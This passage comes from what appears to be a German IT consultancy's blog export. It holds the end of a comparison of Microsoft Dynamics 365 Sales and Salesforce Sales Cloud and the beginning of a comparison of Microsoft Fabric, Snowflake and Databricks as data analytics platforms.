zusätzlich ein intelligenter Assistent angeboten, welcher durch gezielte Fragen nützliche Antworten liefern kann. Mit diesen Assistenten können Nutzer und Nutzerinnen Aufgaben wie das Zusammenfassen von Leaddatensätzen, die Vorbereitung von Terminen oder die Erstellung personalisierter Nachrichten effizient erledigen.\nVereinfachte Datenaktualisierung und Systemerweiterung Mit Hilfe von Copiloten ist es darüber hinaus möglich Daten im CRM-System durch einfache Prompts zu aktualisieren, was den manuellen Aufwand bei der Arbeit mit Datensätzen erheblich reduziert. Im Kontext von Dynamics 365 unterstützt der Copilot zusätzlich auch bei der Anpassung und Erweiterung des Systems in PowerApps (einer Plattform zur Erstellung und Anpassung benutzerdefinierter Apps ohne Programmierkenntnisse). So können mit gezielten Prompts neue Tabellen oder Spalten innerhalb der bestehenden Sales-App erstellt und sogar weitere Canva-Apps entwickelt werden, die sich in bestehende Anwendungen integrieren lassen. Im Vergleich dazu kann man in Salesforce mit Einstein innerhalb des Flow Builders zwar auch eigene Automatisierungen per Prompt erstellen, jedoch sind tiefere Systemanpassungen, wie das Hinzufügen einer weiteren Spalte zum Lead-Datensatz, wie es mit dem Microsoft Copiloten möglich ist, aktuell noch nicht durch Prompts realisierbar.\nAutomatisierung durch KI-Agenten Salesforce setzt mit ihrem KI-Agenten „Agentforce“ auf die Automatisierung von kundenorientierten Aufgaben und Prozessen. Seit Ende Oktober verfügbar, optimiert Agentforce Serviceabläufe wie das Bearbeiten von Kundenanfragen, das Versenden von E-Mails oder die Aktualisierung von Vertriebsdaten. Unternehmen können mithilfe von Low-Code-Tools maßgeschneiderte Agenten erstellen, die wiederholbare Aufgaben selbstständig bearbeiten und durch ihre Integration in die CRM-Datenbank effizient arbeiten. So wird ein durchgängiger, automatisierter Kundenservice – bis hin zu 24/7-Unterstützung – ermöglicht, wobei komplexe Anfragen gegebenenfalls an menschliche Agenten eskaliert werden (Quelle: Salesforce Agentforce). Im Vergleich dazu richten sich Microsoft „Copilot Agents“ eher darauf, interne Geschäftsprozesse und Team-Kollaboration zu optimieren. Als Teil von Microsoft 365 Anwendungen wie Teams, Excel und Outlook, unterstützen Copilot Agents bei der Automatisierung repetitiver Aufgaben, darunter das Erstellen von Berichten, das Planen von Meetings oder das Bereitstellen von kontextbasierten Informationen. Hauptsächlich für produktivitätsorientierte Workflows konzipiert, ist ihre Einbettung in CRM-Prozesse wie die Bearbeitung von Kundenanfragen weniger ausgeprägt. Dadurch können komplexe Kundenservice-Aufgaben meist nur durch menschliche Interaktionen final geklärt werden, während Salesforce Agentforce hier durch seine tiefgreifende CRM-Integration stärker auf automatisierten Kundenservice fokussiert ist (Quelle: Microsoft Copilot Agents).\n6. Technische Anforderungen von Microsoft Dynamics 365 vs. Salesforce Sales Cloud Technische Einführung eines CRM-Systems Die Komplexität der Einführung eines CRM-Systems lässt sich nicht pauschal bestimmen, da sie stark von den Geschäftsprozessen des jeweiligen Unternehmens abhängt. Der erste Schritt, unabhängig vom Anbieter, besteht daher darin, den eigenen Verkaufsprozess zu analysieren und zu überlegen, wie das CRM-System dabei unterstützend wirken kann. Basierend darauf folgt eine klassische Implementierung, die meistens diese drei Punkte umfasst:\nIndividualisierung/Customizing: Anpassung der CRM-Lösung an die spezifischen Geschäftsanforderungen und Arbeitsabläufe. Integration: Nahtlose Verbindung der CRM-Lösung mit anderen Systemen und Anwendungen Ihres Unternehmens, insbesondere ERP und eCommerce. Datenmigration: Übertragung vorhandener Kunden- und Geschäftsdaten in die CRM-Lösung. Im Kontext des Customizings kann auch eine Standardlösung ausreichen, jedoch ist je nach Anwendungsfall eine Anpassung und Konfiguration an die spezifischen Bedürfnisse und Prozesse des Unternehmens oftmals sinnvoll, um das volle Potenzial des CRM-Systems auszuschöpfen.\nKonfiguration von Dynamics 365 und Salesforce Bei der Grundkonfiguration des CRM-Systems bietet Salesforce leichte Vorteile, da es branchenspezifische, vorgefertigte CRM-Vorlagen bereitstellt, die den Individualisierungsaufwand für kleinere Unternehmen oder solche mit standardisierten Prozessen reduzieren können.\nCustomizing von Dynamics 365 und Salesforce Im Hinblick auf die Individualisierung ist die Anpassung von Feldern und Beziehungen in beiden CRM-Systemen technisch relativ einfach. Auch die Anpassung von Automatisierungen lässt sich in beiden Systemen mit etwas Einarbeitung problemlos umsetzen. Ohne Vorerfahrung wird es jedoch erforderlich sein, sich mit dem System vertraut zu machen und gegebenenfalls Lernpfade zu absolvieren. Sobald die grundlegende Logik des Systems verstanden wurde, stellen kleinere Anpassungen keine große Herausforderung mehr dar.\nTesting von Customizations in Dynamics 365 und Salesforce In Salesforce können Anpassungen wie beispielweise das Hinzufügen einer neuen Spalte für Leadinformationen direkt innerhalb der Lösung vorgenommen werden. Um in Dynamics 365 Sales Änderungen vorzunehmen, muss man hingegen die Anwendung verlassen und in die Entwicklungsumgebung von PowerApps wechseln, einem Teil der Microsoft Power Platform. Dies bedeutet, dass Anpassungen in Salesforce sofort im System sichtbar sind, während Änderungen für Dynamics 365 zuerst innerhalb von PowerApps veröffentlicht werden müssen. Dieser zusätzliche Schritt in Dynamics 365 kann jedoch als Vorteil angesehen werden, da die Aufteilung in Entwicklungs-, Test- und Produktionsumgebung eine sichere Testphase ermöglicht, bevor Änderungen in die Produktionsumgebung übernommen werden. Dies trägt zur Stabilität und Sicherheit des Systems bei.\nProgrammierung in C# vs. Apex Bei komplexeren Anpassungen, wie etwa tiefgehenden Berechnungen oder maßgeschneiderter Geschäftslogik, bietet Microsoft einige Vorteile. Sowohl bei Salesforce als auch bei Dynamics 365 erfordern komplexe Anpassungen Programmierkenntnisse. Während Microsoft auf weit verbreitete Programmiersprachen wie C# setzt, wird bei Salesforce die eigene Programmiersprache Apex verwendet. Dies kann zusätzlichen Aufwand für Entwicklerinnen und Entwickler verursachen, die sich in die Programmiersprache Apex einarbeiten müssen, und führt zu einer kleineren Entwickler-Community im Vergleich zu C#.\nIntegrationsmöglichkeiten mit Dynamics 365 vs. Salesforce Sowohl Dynamics 365 als auch Salesforce bieten in ihren App-Stores (AppSource und AppExchange) zahlreiche Konnektoren, um externe Anwendungen zu integrieren. Während viele Integrationsanforderungen durch die Standard-Konnektoren abgedeckt werden können, stoßen diese bei komplexeren Szenarien oder spezifischen Anforderungen oft an ihre Grenzen. Salesforce stellt für solche Fälle mit MuleSoft eine leistungsstarke Integration Platform as a Service (iPaaS) bereit. MuleSoft ermöglicht API-gestützte Verbindungen und Integrationen zwischen Salesforce und externen Systemen, ohne dass tiefgehende Programmierkenntnisse in Apex erforderlich sind. Allerdings ist MuleSoft kostenpflichtig, und für die Nutzung fallen zusätzliche Lizenzgebühren an, die je nach Umfang der Integration und der Anzahl der verbundenen Systeme variieren. Obwohl viele Integrationen mit MuleSoft ohne direkte Programmierung umgesetzt werden können, sind für benutzerdefinierte Anforderungen innerhalb von Salesforce, die komplexe Geschäftslogik oder spezifische API-Endpunkte betreffen, weiterhin Kenntnisse in Apex erforderlich. Im Microsoft-Ökosystem erfolgt die Integration von Dynamics 365 in externe Systeme und die Automatisierung von Prozessen in erster Linie über Power Automate oder Azure Logic Apps. Beide Lösungen bieten eine intuitive, visuell gesteuerte Plattform, die keine spezifischen Programmierkenntnisse wie Apex voraussetzt. Mit Power Automate lassen sich einfache, automatisierte Workflows erstellen, die direkt innerhalb der Dynamics 365 Sales Lizenz zur Verfügung stehen. Standard-Konnektoren für die häufigsten Anwendungsfälle sind dabei in der Regel ohne zusätzliche Kosten enthalten. Für erweiterte Funktionen wie die Nutzung von Premium-Konnektoren oder benutzerdefinierten Konnektoren sowie für komplexere Integrationsszenarien, die Azure Logic Apps, Azure Service Bus oder Azure API Management erfordern, fallen zusätzliche Gebühren an. Azure Logic Apps arbeitet dabei auf Basis eines Pay-as-you-Go-Modells, bei dem keine festen Lizenzgebühren wie bei MuleSoft erforderlich sind, sondern lediglich Kosten für die tatsächliche Ressourcennutzung und die ausgeführten Aktionen entstehen. Azure Logic Apps ermöglicht es, komplexe Workflows und Automatisierungen einfach und zugänglich zu gestalten. Dabei richtet sich die Lösung sowohl an Anwenderinnen und Anwender ohne tiefgehende technische Kenntnisse als auch an Entwicklerinnen und Entwickler, die mithilfe von Programmiersprachen wie C# oder .NET individuelle Erweiterungen und maßgeschneiderte Integrationen erstellen können.\nDatenmigration in Dynamics 365 vs. Salesforce Die Datenmigration stellt einen häufig unterschätzten, aber entscheidenden Schritt bei der Einführung eines CRM-Systems dar. Sie bezieht sich auf den Prozess, bei dem bestehende Kunden- und Geschäftsdaten aus alten Systemen in das neue CRM übertragen werden. Dafür braucht es nicht nur eine genaue Planung, sondern auch gründliche Tests. So wird sichergestellt, dass keine wichtigen Informationen verloren gehen, Fehler vermieden werden und später kein hoher Aufwand für Nachbesserungen entsteht. Besonders bei der Migration großer Datenmengen müssen Unternehmen sicherstellen, dass die Daten in einem Format vorliegen, das vom neuen CRM-System problemlos verarbeitet werden kann.\nData Import Wizard, Data Loader und Data Migration Framework Sowohl Microsoft Dynamics 365 Sales als auch Salesforce bieten hierfür Unterstützung und entsprechende Tools, wobei die spezifischen Anforderungen variieren können - je nach Komplexität der bestehenden Daten und der zu migrierenden Systemen. Während Salesforce mit dem Data Import Wizard und Data Loader einfache Werkzeuge zur Verfügung stellt, bietet Microsoft für Dynamics 365 Sales das Data Migration Framework (DMF), das insbesondere bei größeren und komplexeren Migrationen hilfreich ist. Das DMF ermöglicht eine strukturierte, automatisierte Datenmigration und sorgt dafür, dass die Daten im richtigen Format vorliegen.\nInsgesamt sind die Möglichkeiten und Tools für die Datenmigration in beiden Systemen vergleichbar. Unternehmen, die bereits Microsoft Produkte nutzen, profitieren von einer potenziell nahtloseren Migration, da diese tief in viele gängige Datenformate und -systeme integriert sind. Salesforce-Nutzer müssen in einigen Fällen auf zusätzliche Tools oder Drittanbieter-Services zurückgreifen, um eine effiziente Migration durchzuführen, was den Aufwand erhöhen kann.\n7. Skalierbarkeit und Flexibilität von Microsoft Dynamics 365 vs. Salesforce Sales Cloud Cloud-Technologie und modulare Vielfalt Da die Lösungen beider Anbieter als Cloud-Plattformen verfügbar sind, bieten sie im Hinblick auf die Skalierbarkeit hohe Flexibilität. Ein weiterer Vorteil ist die Modularität beider Systeme, die es Unternehmen ermöglicht, ihre Lösung mit zusätzlichen Funktionen zu erweitern. Microsoft kann sich dabei durch erweiterbare Module in Dynamics 365 abheben, da diese nicht nur auf CRM-Anwendungen beschränkt sind, sondern ein vielfältiges Angebot an weiteren Geschäftslösungen umfassen. Während Salesforce traditionell stärker auf CRM und Marketing ausgerichtet ist, bietet Microsoft ein breites Produktportfolio, das von der Personalverwaltung (HR) und der Ressourcenplanung (ERP) bis hin zur Finanzverwaltung (Finance) reicht.\nLow-Code-Power und Entwicklerunterstützung durch Microsoft Für Unternehmen, die neben zusätzlichen Modulen wie Marketing, Kundenservice, Außendienst, Projektmanagement maßgeschneiderte Apps oder eigene Webseiten (Power Pages) benötigen, stellt Microsoft darüber hinaus mit seiner Power Platform eine leistungsstarke Low-Code-Plattform bereit, die eine Vielzahl an Funktionen abdeckt. Dies wird auch durch die Analyse von Gartner bestätigt, die Microsoft im Magic Quadrant für Enterprise Low-Code Application Platforms 2024 als „Leader“ einstuft. Besonders hervorgehoben wird dabei nicht nur die Fähigkeit der Power Platform, zahlreiche Anwendungsfälle zu unterstützen, sondern auch ihre fortschrittlichen Funktionen und die umfangreiche Entwicklerunterstützung. Diese starke Entwicklerunterstützung trägt wesentlich zu einer flachen Lernkurve bei, da sowohl erfahrene Entwicklerinnen und Entwickler als auch Einsteiger auf eine Vielzahl von Ressourcen zugreifen können, um schnell Wissen aufzubauen und auf ihren bisherigen Erfahrungen aufzusetzen. Vor allem für Nicht-Entwickler eröffnet die Power Platform innovative Möglichkeiten, Prozesse individuell zu automatisieren und anzupassen. Aufgrund der gewonnenen Erfahrungen im M365-Umfeld könnten Mitarbeitende weiter dazu angeregt sein, Aufgaben zu übernehmen oder Lösungen zu erstellen, die über die derzeit genutzte Anwendung hinausgehen.\nPersönliche Erfahrung: Erstellen einer App ohne technisches Vorwissen Auch ich habe durch meine persönliche Arbeit mit Microsoft Dynamics 365 wertvolle Erkenntnisse gewonnen, insbesondere darüber, wie schnell sich der eigene Wissensstand erweitern kann und wie vielfältig die daraus entstehenden Einsatzmöglichkeiten sind. So war ich trotz fehlender technischer Vorkenntnisse nach lediglich vier Monaten in der Lage, eine interne Anwendung (Power App) vollständig selbst zu entwickeln. Ein zentraler Erfolgsfaktor dabei war meine Erfahrung mit Cloudflows, die es mir ermöglichten, die notwendige Logik für den Umgang mit einer Datenbank und API-Abfragen, als automatisieren Prozess abzubilden. Für alle offenen Fragen und Wissenslücken waren mir die Microsoft Lernplattform und Dokumentation eine immense Unterstützung. Sie lieferten alle notwendigen Informationen, um eine moderne und benutzerfreundliche App-Oberfläche zu gestalten und die gebaute Logik des Cloudflows über einen Button in die Anwendung zu integrieren. Als jemand ohne tiefgreifenden IT-Hintergrund war auch ich damals positiv überrascht, wie intuitiv die Werkzeuge der Power Platform gestaltet sind. Gleichzeitig war ich stolz darauf, mein vorhandenes Wissen effektiv aufbauen zu können, um mich erfolgreich neuen Herausforderungen zu stellen.\nLow-Code-Vorteile und Grenzen bei Salesforce Im Vergleich dazu bietet Salesforce ebenfalls Low-Code-Tools wie den Flow Builder, welcher grundlegende Anpassungen und Automatisierungen ermöglicht. Unterstützt wird dies durch die Trailhead-Lernplattform von Salesforce, die es Anwendern erleichtert, schnell Low-Code-Kompetenzen zu entwickeln. Für einfache Workflows stellt dies eine ideale Lösung dar, um Anwendern ohne tiefgehende Programmierkenntnisse eine effiziente Lösung anzubieten. Für komplexere, maßgeschneiderte Lösungen, die tiefere Integrationen oder eine ausgefeilte Geschäftslogik erfordern, kann jedoch die Unterstützung durch Systemadministratoren oder Entwickler notwendig sein, insbesondere aufgrund der Programmiersprache Apex.\nDatenanalyse: BI-Lösungen im Vergleich Die Integration von Business Intelligence (BI) und datengetriebener Analytik ist ein entscheidender Faktor, um fundierte Geschäftsentscheidungen zu treffen. Microsoft Dynamics 365 bietet hier klare Vorteile durch die tiefe Verknüpfung mit Power BI und Microsoft Fabric. Diese Integration ermöglicht eine direkte Visualisierung und Analyse von Geschäftsdaten innerhalb der Plattform selbst. Obwohl Salesforce mit Tableau ebenfalls eine leistungsstarke BI-Lösung bietet, erfordert Tableau jedoch eine separate Lizenz sowie zusätzliche Integration, was den Zugang zu datengetriebenen Erkenntnissen im Vergleich zu Microsoft weniger komfortabel macht.\nZusammengefasst bieten sowohl Microsoft als auch Salesforce leistungsstarke Plattformen, die unterschiedliche Schwerpunkte setzen. Während Salesforce traditionell stärker auf CRM und Marketing fokussiert ist, bietet Microsoft eine umfassendere Lösung für unterschiedliche Geschäftsanwendungen und Datenanalyse.\nDatenschutz und Sicherheit bei Microsoft Dynamics vs. Salesforce Da in einem CRM-System wertvolle Kundendaten gespeichert werden und beide Anbieter ihren Hauptsitz sowie ihre Cloud-Dateninfrastruktur in den USA haben, spielt der Datenschutz eine besonders wichtige Rolle. Es ist erwähnenswert, dass sowohl Salesforce als auch Dynamics 365 umfassende Funktionen bieten, um die Anforderungen der DSGVO umzusetzen. Beide Plattformen verfügen über leistungsstarke Werkzeuge zur Verwaltung von Zugriffsrechten und zur Nachverfolgbarkeit von Datenverarbeitungsaktivitäten.\nIm Rahmen der DSGVO ermöglichen beide Anbieter, Daten in einer gewünschten geografischen Region (z.B. für deutsche Kunden in Deutschland oder der EU) zu speichern, was Unternehmen hilft, die gesetzlichen Datenschutzanforderungen zu erfüllen. Salesforce setzt in diesem Kontext auf eine globale Cloud-Infrastruktur, bietet jedoch in einigen Ländern, wie beispielsweise China, einen eingeschränkten Serviceumfang durch Kooperationen mit lokalen Partnern. Microsoft hingegen nutzt mit Azure eine umfassendere, verteilte Instanzstrategie und hat in vielen Ländern, einschließlich China, eigene Datenzentren und lokale Partnerschaften. Folglich bietet Microsoft hier eine größere geografische Abdeckung und potenziell mehr Kontrolle über Datenhoheit.\nEin weiterer zu berücksichtigender Vorteil von Dynamics 365 im Zusammenhang der Datenspeicherung ist jedoch die Wahl zwischen einer On-Premise- und einer Cloud-Lösung. Unternehmen, die strenge Datenschutzvorgaben haben oder ihre Daten aus rechtlichen oder anderen Gründen lokal speichern müssen, können sich für eine On-Premise-Lösung entscheiden. Im Gegensatz dazu ist Salesforce ausschließlich als Cloud-Lösung verfügbar. Abschließend kann im Kontext der datenschutzrechtlichen Prüfung berücksichtigt werden, dass eine bestehende Nutzung von Microsoft 365 (Word, PowerPoint, Excel und Outlook) mögliche Synergien bei der Bewertung der Datenschutzkonformität bieten kann.\n8. Fazit Insgesamt lässt sich sagen, dass sowohl Salesforce als auch Microsoft mit ihren CRM-Lösungen unterschiedliche Stärken bieten, je nach den individuellen Anforderungen und der Unternehmensstrategie. Während Salesforce durch seinen günstigen Einstiegspreis und umfangreiche Anpassbarkeit glänzt, bietet Microsoft mit einem besseren insgesamten Preis-Leistungs-Verhältnis und einer starken Low-Code-Plattform eine umfassende Lösung für Unternehmen, die eine engere Verbindung zu anderen Microsoft-Produkten suchen.\nBei Fragen zu Ihrem CRM-Projekt oder Interesse an einer Demo zu Dynamics 365 kontaktieren Sie uns! ","date":"11. April 2025","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/dynamics-vs-salesforce_hu3ec658e6e7bd1d7d86fce28dfbd222d0_3201894_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/dynamics-vs-salesforce_hu3ec658e6e7bd1d7d86fce28dfbd222d0_3201894_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/microsoft-dynamics-365-sales-vs.-salesforce-sales-cloud-die-beiden-crm-systeme-im-vergleich/","tags":["tooling","crm","dynamics-365"],"title":"Microsoft Dynamics 365 Sales vs. Salesforce Sales Cloud - Die beiden CRM-Systeme im Vergleich"},{"categories":["Quick-Tipps","Insights"],"contents":"Wir vergleichen drei große Data Analytics Tools am Markt und zeigen die jeweiligen Vorteile und Nachteile auf: Microsoft Fabric vs. Snowflake vs. Databricks\nInhalte 1. Tabelle: Funktionen im Überblick 2. Empfehlung: Für wen eignet sich Microsoft Fabric/Snowflake/Databricks? 3. Daten importieren, transformieren und übertragen in Microsoft Fabric / Snowflake / Databricks 4. Daten visualisieren in Microsoft Fabric / Snowflake / Databricks 1. Funktionen im Überblick: Microsoft Fabric vs. Snowflake vs. Databricks Microsoft Fabric Snowflake Databricks Service Model (Siehe unten) SaaS (Software as a Service) SaaS (Software as a Service) PaaS (Platform as a Service) Data Structures Alle Datentypen Semi-strukturierte (z. B. JSON) und strukturierte Daten (Tabellen) Alle Datentypen Data Ingestion (siehe Kapitel Nr. 3 ) - COPY command - Bietet no-code/low-code Optionen (Data Pipelines, Dataflows) - COPY command - Snowpipe (Automatisiert die kontinuierliche Datenübernahme aus dem Cloud-Speicher) - COPY command - Auto Loader: kontinuierliche Aufnahme von Dateien aus einem Cloud-Speicher - Lakeflow Connect: für komplexere Anwendungsfälle mit mehreren, unterschiedlichen Datenquellen und Zielorten Visuelle Datenanalyse (siehe Kapitel Nr. 4 ) Über Berichte in Power BI (integriert) mit direktem Zugriff auf die Daten über OneLake - Vielfältige Optionen für die Kollaboration Über Snowflake’s Dashboards aber Visualisierungsoptionen sehr beschränkt Über Databricks-Dashboards aber Möglichkeit der gemeinsamen Nutzung begrenzt Sicherheit Nutzt Microsoft Entra ID für Authentifizierung, bietet standardmäßige Verschlüsselung und Bedrohungsüberwachung durch Microsoft → „Integration“ (Features: Single-Sign-On (SSO), Multi-Faktor-Authentifizierung (MFA)) Unterstützt Multi-Faktor-Authentifizierung (MFA), bietet Datenverschlüsselung und regelmäßige Sicherheitsbewertungen → „Datenisolierung“ Bietet SSO, Access Control Lists (ACLs) und Unterstützung für kundengesteuerte Schlüssel → „Flexibilität“ Version Control mit Git Azure DevOps oder GitHub GitHub, GitLab, BitBucket, Azure DevOps, AWS CodeCommit GitHub, GitLab, BitBucket, Azure DevOps, AWS CodeCommit Dateiformat Das Delta-Lake-Format basiert auf Parquet-Dateien (ein spaltenbasiertes Dateiformat), aber mit zusätzlichen Metadaten, die Transaktionen und Versionskontrolle ermöglichen. Wenn Änderungen an den Daten vorgenommen werden, speichert die Delta-Tabelle nur die Differenzen (also die hinzugefügten, geänderten oder gelöschten Datensätze) im Vergleich zur ursprünglichen Basistabelle. Snowflake verwendet ein proprietäres Format und bietet zusätzliche Funktionen und integrierte Performance-Optimierungen. - Abrechnung Abrechnung über „Capacity Units“ (CUs): Pay-as-you go oder Reservierung bestimmter CUs für einen bestimmten Zeitraum (in Deutschland zirka 50 % günstiger) Pay-as-you-go: Abrechnung der genutzten Rechenleistung und Speicherressourcen (Compute Credits) Pay-as-you-go: Abrechnung der genutzten Rechenleistung und Speicherressourcen („Databricks Units“) Vorteile - Benutzerfreundlichkeit durch viele Low-Code Möglichkeiten: für schnelle und kostengünstige Lösungen vorteilhaft, da Umsetzung ohne viel Programmierkenntnisse möglich - Gutes Preis-Leistungsverhältnis für die gängigen Anforderungen an Datenmenge und Komplexität - Realtime-Funktionalitäten - Skalierungsfähige Analyselösung: intelligente Kapazitätsplanung, automatisierte Skalierungsmöglichkeiten des Ressourcenverbrauchs - KI-Modelle trainieren und Experimente durchführen mit MLflow - Machine Learning Funktionalitäten mittels Azure Machine Learning - Native Integration von Power BI - Nahtlose Integration mit Microsoft-Diensten - Unabhängige Skalierung von Speicher und Rechenleistung - Cloud-agnostische Umgebung: Auswahlmöglichkeit, bei welchem Cloud-Anbieter die Snowflake-Instanz laufen soll, optional auf mehreren Clouds. - Hohe Leistung für Spezialfälle mit extrem großen Datenmengen und komplexe Datenverarbeitungs-Workloads - Fortschrittliche ML-Funktionen - Optimal für Real-Time Analytics Nachteile - Relativ neue Technologie mit potentiellen Reifeproblemen (manche der neuen Features im Preview-Mode kurzfristig noch nicht zu 100 % nutzbar (Stand 2.2025)) - Starke Bindung an das Microsoft-Ökosystem - Real-Time möglich, aber nicht so effizient - Weniger integrierte Funktionen für fortgeschrittene Analysen und Machine Learning im Vergleich zu Databricks - Begrenzte Unterstützung für unstrukturierte Daten - Begrenzte Unterstützung für Reporting-Tools wie Power BI - Real-Time möglich aber nicht so effizient - Steile Lernkurve, insbesondere für Nicht-Programmierer - Kann komplexer in der Einrichtung und aufwändiger in der Verwaltung sein - Begrenzte Unterstützung für Reporting-Tools wie Power BI 2. Empfehlung: Für wen eignet sich Microsoft Fabric/Snowflake/Databricks? Für wen eignet sich Microsoft Fabric? Zu empfehlen:\nFür Unternehmen, die bereits stark in Microsoft-Technologien (wie Azure, Dynamics 365 oder Power BI) investiert haben. Sie profitieren von einer nahtlosen Integration. Für Unternehmen, die eine einheitliche Plattform für Data Engineering, Data Science und Business Intelligence benötigen. Für Unternehmen, die sowohl strukturierte als auch unstrukturierte Daten analysieren müssen. Für Unternehmen, die Untersuchungen und Verarbeitungen kostengünstig mittels Low-Code-Features umsetzen wollen. Anwendungsbeispiel 1: Ein Unternehmen, das Daten aus Webseiten, Online-Shops, sozialen Medien oder CRM-Systemen erfassen, das Verhalten von Kunden und Kundinnen verstehen, Trends identifizieren und daraus fundierte Geschäftsentscheidungen ableiten möchte. Anwendungsbeispiel 2: Ein Unternehmen, das Power BI zum Reporting nutzt und nun seine gesamte Dateninfrastruktur modernisieren möchte. Anwendungsbeispiel 3: Ein Unternehmen, das Geschäftsdaten überwachen, bei der Überschreitung von Schwellenwerten gewarnt werden sowie Muster und Abweichungen in Daten identifizieren möchte. Nicht zu empfehlen:\nFür Unternehmen, die eine strikte Cloud-agnostische Lösung benötigen - allerdings reicht es in vielen Anwendungsfällen vollkommen aus, Daten aus anderen Clouds zu integrieren und in Azure zu hosten. Anwendungsbeispiel: Ein Start-up, das einen Vendor Lock-in vermeiden möchte. Wir führen Microsoft Fabric in Ihrem Unternehmen ein und beraten zur Nutzung – jetzt Kontakt aufnehmen! Für wen eignet sich Snowflake? Zu empfehlen:\nFür kleinere weniger komplexe Unternehmen mit einfachen BI-Anforderungen, die eine einheitliche Platform für Data Engineering suchen. Für Unternehmen mit einer Multi-Cloud-Strategie, denn Snowflake ist von Grund auf für eine Cloud-agnostische Umgebung konzipiert - allerdings unterstützen auch Microsoft Fabric und Databricks Multi-Cloud-Szenarien. Anwendungsbeispiel: Ein Unternehmen nutzt verschiedene Cloud-Umgebungen in seinen Tochtergesellschaften und möchte konsistente Datenabfragen und -analysen über verschiedene Regionen hinweg durchführen. Nicht zu empfehlen:\nFür Unternehmen, die komplexe Data Science Workflows und Machine Learning einsetzen (da sind MS Fabric und Databricks am besten geeignet). Für Unternehmen mit BI-Anforderungen. Anwendungsbeispiel: Ein lokales Einzelhandelsgeschäft benötigt nur grundlegende Datenanalysen für Verkaufs- und Bestandsberichte. Für wen eignet sich Databricks? Zu empfehlen:\nFür Spezialfälle, z. B. Organisationen mit extrem großen Datenmengen und Anforderungen an hohe Geschwindigkeit und Leistung der Datenverarbeitung. Für Unternehmen, die Daten in Echtzeit verarbeiten und analysieren müssen. Anwendungsbeispiel: Ein Pharmaunternehmen, das sehr große Datenmengen aus klinischen Studien analysieren möchte und ML-Modelle zur Krankheitserkennung entwickelt. Nicht zu empfehlen:\nFür Unternehmen, die einfache BI-Lösungen und Reporting benötigen. Für Unternehmen mit begrenzten technisch versierten Personalkapazitäten oder ohne Data Science-Expertise. Anwendungsbeispiel 1: Ein mittelständisches Unternehmen, deren Schwerpunkt der Auswertung bei BI-Dashboards für Vertriebs- und Projektberichte liegt. Anwendungsbeispiel 2: Ein Unternehmen, das ohne viele Vorkenntnisse in der komplexen Auswertung von Daten seine Datenanalyse auf ein neues Level heben möchte. 3. Daten importieren, transformieren und übertragen in Microsoft Fabric / Snowflake / Databricks In Microsoft Fabric Daten importieren, transformieren und übertragen In Microsoft Fabric können nach der Erstellung eines Lakehouses Daten erfasst werden. Fabric bietet folgende Möglichkeiten:\nDas Hochladen von lokalen Dateien. Beispieldaten werden ebenso zur Verfügung gestellt. Shortcuts können verwendet werden, um schnell Daten von internen und externen Speicherorten in ihre Lakehouses oder Warehouses zu ziehen. Shortcuts können aktualisiert oder aus ihrem Element entfernt werden, aber diese Änderungen haben keine Auswirkungen auf die ursprünglichen Daten und ihre Quelle. Shortcuts unterstützen mehrere Dateisystem-Datenquellen. Dazu gehören interne OneLake-Standorte, Azure Data Lake Storage (ADLS) Gen2, Amazon S3 und Dataverse. Dataflows sind wiederverwendbare ETL-Pipelines (ETL=Extrahieren, Transformieren, Laden), mit denen Daten aus verschiedenen Quellen geladen, bereinigt und transformiert werden können. Sie bieten eine Low-Code-/No-Code-Schnittstelle für Datenvor-bereitungsaufgaben, die es dem Nutzer oder der Nutzerinnen erleichtert, mit Daten zu arbeiten ohne komplexen Code zu schreiben. In Abb. 3 sind links drei Quellen - \u0026ldquo;Customers\u0026rdquo;, \u0026ldquo;Orders\u0026rdquo; und \u0026ldquo;NavigationQuery\u0026rdquo; für den Dataflow zusehen. Die Daten durchlaufen mehrere Transformationsschritte, darunter das Entfernen überflüssiger Spalten, das Erweitern von Bestell-informationen und das Hinzufügen einer Rangspalte. Im unteren Bereich gibt es eine Vorschau der transformierten Daten. Rechts werden die angewendeten Transformationsschritte aufgelistet, was eine schrittweise Nachverfolgung der Datenverarbeitung ermöglicht. Unten rechts ist das Datenziel angegeben - in diesem Fall eine Azure SQL-Datenbank. Abb. 3: Beispiel für einen Dataflow (Quelle) Daten-Pipelines ermöglichen das Erstellen von flexiblen Daten-Workflows. In einer Pipeline können logische Gruppierungen von Aktivitäten erstellt werden, die eine Aufgabe ausführen. Man spricht hier von einer „Orchestrierung“, also dem Aufstellen von Schritten und Regeln für die Ausführung in MS Fabric, z. B. geplante Ausführung, Konditionen wie „if“. Mögliche Aktivitäten innerhalb einer Daten-Pipeline beinhalten Copy-Aktivitäten und Datentransformation, Metadaten, Kontrollfluss (logische Steuerung der Pipeline mit bedingten Verzweigungen, Schleifen und Variablenmanagement), Orchestrierung (steuert den Datenfluss durch Integration verschiedener Dienste und Pipelines), Benachrichtigungen und Machine-Learning-Workflows. In Abb. 4 wird eine Copy-Aktivität mit einem Dataflow verbunden, sodass die Pipeline erst Daten kopiert und dann den Dataflow ausführt, um diese Daten weiter zu verarbeiten.\nAbb. 4: Beispiel für eine Daten-Pipeline (Quelle) Notebooks können für den Daten-Import und deren Verarbeitung in ein Lakehouse verwendet werden. Fabric-Notebooks bieten eine skalierbare und systematische Lösung. Unterstützt werden PySpark (Python), Spark (Scala), Spark SQL und SparkR (R). Notebooks können mit vorhandenen Lakehouses und Warehouses verbunden werden, um auf deren Daten zuzugreifen. Abb. 5: Notebook-Funktionalität in Microsoft Fabric. Eventstreams ermöglichen die Integration, Transformation und Übertragung von Echtzeitereignissen in Microsoft Fabric, ohne dass dafür Code geschrieben werden muss. Daten können aus Azure Event Hubs, Azure IoT Hub, Google Cloud Pub/Sub und Amazon Kinesis Data Streams erfasst werden. Die erfassten Ereignisdaten können transformiert werden, um sie für die weitere Verarbeitung vorzubereiten. Dies kann das Filtern, Aggregieren und Umformatieren der Daten umfassen. Nach der Transformation können die Daten an verschiedene Ziele wie KQL-Datenbanken, Lakehouses oder andere Speicherorte weitergeleitet werden. Abb. 6: Eventstream-Funktionalität in Microsoft Fabric. Mehr zu den Features und Funktionalitäten von Microsoft Fabric erfahren Sie 